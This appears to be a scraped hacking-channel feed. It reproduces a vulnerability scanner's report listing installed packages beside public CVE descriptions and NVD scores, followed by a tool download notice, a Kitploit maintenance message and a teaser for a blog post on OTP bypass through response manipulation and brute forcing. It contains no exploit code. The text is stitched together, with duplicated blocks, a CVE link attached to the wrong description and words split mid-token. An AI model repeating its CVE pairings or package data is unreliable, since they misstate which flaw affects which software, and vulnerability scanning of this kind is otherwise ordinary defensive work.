A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.
https://nvd.nist.gov/vuln/detail/CVE-2020-1712
4.6 MEDIUM
expat 2.2.9
pangocairo 1.44.7
xdmcp 1.1.3
libpcreposix 8.39
ruby-2.7 2.7.0
glib-2.0 2.64.6
gnome-system-tools 3.0.0
xinerama 1.1.4
nunit 2.6.3
gmp 6.2.0
libevent 2.1.11-stable
xbuild12 12.0
xorg-sgml-doctools 1.11
presentproto 1.2
gdk-pixbuf-2.0 2.40.0
inputproto 2.3.2
libssl 1.1.1f
xcb-shm 1.14
gdk-2.0 2.24.32
libpng16 1.6.37
bigreqsproto 1.1.2
icu-io 66.1
xextproto 7.3.0
libthai 0.1.28
libbsd-overlay 0.10.0
mount 2.34.0
gio-2.0 2.64.6
adwaita-icon-theme 3.36.1
fontconfig 2.13.1
xrandr 1.5.2
monosgen-2 6.8.0.105
mono 6.8.0.105
xf86d gaproto 2.1
dri3proto 1.2
libpcre 8.39
pangoxft 1.44.7
blkid 2.34.0
libsepol 3.0
libevent_openssl 2.1.11-stable
uuid 2.34.0
gmodule-2.0 2.64.6
graphite2 3.0.1
libfl 2.6.4
zlib 1.2.11
cairo-pdf 1.16.0
ruby 2.7.0
___________________________
@hacking_Attack
@Hacking_Video
Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource consumption, leading to denial of service when matched against a URI. In typical usage, templates would not normally be read from untrusted user input, but nonetheless, no previous security advisory for Addressable has cautioned against doing this. Users of the parsing capabilities in Addressable but not the URI template capabilities are unaffected. The vulnerability is patched in version 2 .8.0. As a workaround, only create Template objects from trusted sources that have been validated not to produce catastrophic backtracking.
https://nvd.nist.gov/vuln/detail/CVE-2021-32740
5.0 MEDIUM
An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.
https://nvd.nist.gov/vuln/detail/CVE-2020-10933
5.0 MEDIUM
libevent_extra 2.1.11-stable
system.web.mvc3 3.0.0.0
libstartup-notification-1.0 0.12
mono-2 6.8.0.105
mono-nunit 2.6.3
gobject-2.0 2.64.6
glproto 1.4.17
cairo-ft 1.16.0
cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa tible with WebKit's fastMalloc, leading to an application crash with a "free(): invalid pointer" error.
https://nvd.nist.gov/vuln/detail/CVE-2018-19876
4.3 MEDIUM
xcb 1.14
Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.
https://nvd.nist.gov/vuln/detail/CVE-2016-0752
5.0 MEDIUM
fribidi 1.0.8
xtrans 1.4.0
cairo-xlib-xrender 1.16.0
mono-lineeditor 0.2.1
xcmiscproto 1.2.2
gmodule-no-export-2.0 2.64.6
dri2proto 2.8
python3-embed 3.8
libpcre32 8.39
system.web.mvc2 2.0.0.0
dotnet 6.8.0.105
iso-codes 4.4
fontutil 1.3.1
xbitmaps 1.1.1
system.web.extensions_1.0 1.0.61025.0
recordproto 1.14.2
resourceproto 1. 2.0
mobile-broadband-provider-info 20190618
videoproto 2.3.3
libevent_core 2.1.11-stable
fontsproto 2.1.3
xsp-4 4.2
python3 3.8
In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.
https://nvd.nist.gov/vuln/detail/CVE-2020-15801
7.5 HIGH
In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.
https://nvd.nist.gov/vuln/detail/CVE-2020-15523
6.9 MEDIUM
xineramapro to 1.2.1
xcb-render 1.14
libpcre2-32 10.34
libbsd-ctor 0.10.0
libbsd 0.10.0
nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).
https://nvd.nist.gov/vuln/detail/CVE-2019-20367
6.4 MEDIUM
xft 2.3.3
___________________________
@hacking_Attack
@Hacking_Video
https://nvd.nist.gov/vuln/detail/CVE-2021-32740
5.0 MEDIUM
An issue was discovered in Ruby 2.5.x through 2.5.7, 2.6.x through 2.6.5, and 2.7.0. If a victim calls BasicSocket#read_nonblock(requested_size, buffer, exception: false), the method resizes the buffer to fit the requested size, but no data is copied. Thus, the buffer string provides the previous value of the heap. This may expose possibly sensitive data from the interpreter.
https://nvd.nist.gov/vuln/detail/CVE-2020-10933
5.0 MEDIUM
libevent_extra 2.1.11-stable
system.web.mvc3 3.0.0.0
libstartup-notification-1.0 0.12
mono-2 6.8.0.105
mono-nunit 2.6.3
gobject-2.0 2.64.6
glproto 1.4.17
cairo-ft 1.16.0
cairo 1.16.0, in cairo_ft_apply_variations() in cairo-ft-font.c, would free memory using a free function incompa tible with WebKit's fastMalloc, leading to an application crash with a "free(): invalid pointer" error.
https://nvd.nist.gov/vuln/detail/CVE-2018-19876
4.3 MEDIUM
xcb 1.14
Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.
https://nvd.nist.gov/vuln/detail/CVE-2016-0752
5.0 MEDIUM
fribidi 1.0.8
xtrans 1.4.0
cairo-xlib-xrender 1.16.0
mono-lineeditor 0.2.1
xcmiscproto 1.2.2
gmodule-no-export-2.0 2.64.6
dri2proto 2.8
python3-embed 3.8
libpcre32 8.39
system.web.mvc2 2.0.0.0
dotnet 6.8.0.105
iso-codes 4.4
fontutil 1.3.1
xbitmaps 1.1.1
system.web.extensions_1.0 1.0.61025.0
recordproto 1.14.2
resourceproto 1. 2.0
mobile-broadband-provider-info 20190618
videoproto 2.3.3
libevent_core 2.1.11-stable
fontsproto 2.1.3
xsp-4 4.2
python3 3.8
In Python 3.8.4, sys.path restrictions specified in a python38._pth file are ignored, allowing code to be loaded from arbitrary locations. The ._pth file (e.g., the python._pth file) is not affected.
https://nvd.nist.gov/vuln/detail/CVE-2020-15801
7.5 HIGH
In Python 3.6 through 3.6.10, 3.7 through 3.7.8, 3.8 through 3.8.4rc1, and 3.9 through 3.9.0b4 on Windows, a Trojan horse python3.dll might be used in cases where CPython is embedded in a native application. This occurs because python3X.dll may use an invalid search path for python3.dll loading (after Py_SetPath has been used). NOTE: this issue CANNOT occur when using python.exe from a standard (non-embedded) Python installation on Windows.
https://nvd.nist.gov/vuln/detail/CVE-2020-15523
6.9 MEDIUM
xineramapro to 1.2.1
xcb-render 1.14
libpcre2-32 10.34
libbsd-ctor 0.10.0
libbsd 0.10.0
nlist.c in libbsd before 0.10.0 has an out-of-bounds read during a comparison for a symbol name from the string table (strtab).
https://nvd.nist.gov/vuln/detail/CVE-2019-20367
6.4 MEDIUM
xft 2.3.3
___________________________
@hacking_Attack
@Hacking_Video
Tested in Ubuntu Linux, Fedora Linux and FreeBSD. The purpose of this tool is to use in local pentest, take attention if you have a proper authorization (https://www.kitploit.com/search/label/Authorization) before to use that. I do not have responsibility for your actions. You can use a hammer to construct a house or destroy it, choose the law path, don't be a bad guy, remember.
Download Master_Librarian (https://github.com/CoolerVoid/master_librarian)
___________________________
@hacking_Attack
@Hacking_Video
Download Master_Librarian (https://github.com/CoolerVoid/master_librarian)
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
OTP bypass via response manipulation and brute forcing.
Hello Hackers,Continue reading on Medium »
Read more...
Hello Hackers,Continue reading on Medium »
Read more...
OTP bypass via response manipulation and brute forcing.
https://medium.com/@rudramsaraf90/otp-bypass-via-response-manipulation-and-brute-forcing-ada4cbf159d6?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/@rudramsaraf90/otp-bypass-via-response-manipulation-and-brute-forcing-ada4cbf159d6?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
OTP bypass via response manipulation and brute forcing.
Hello Hackers,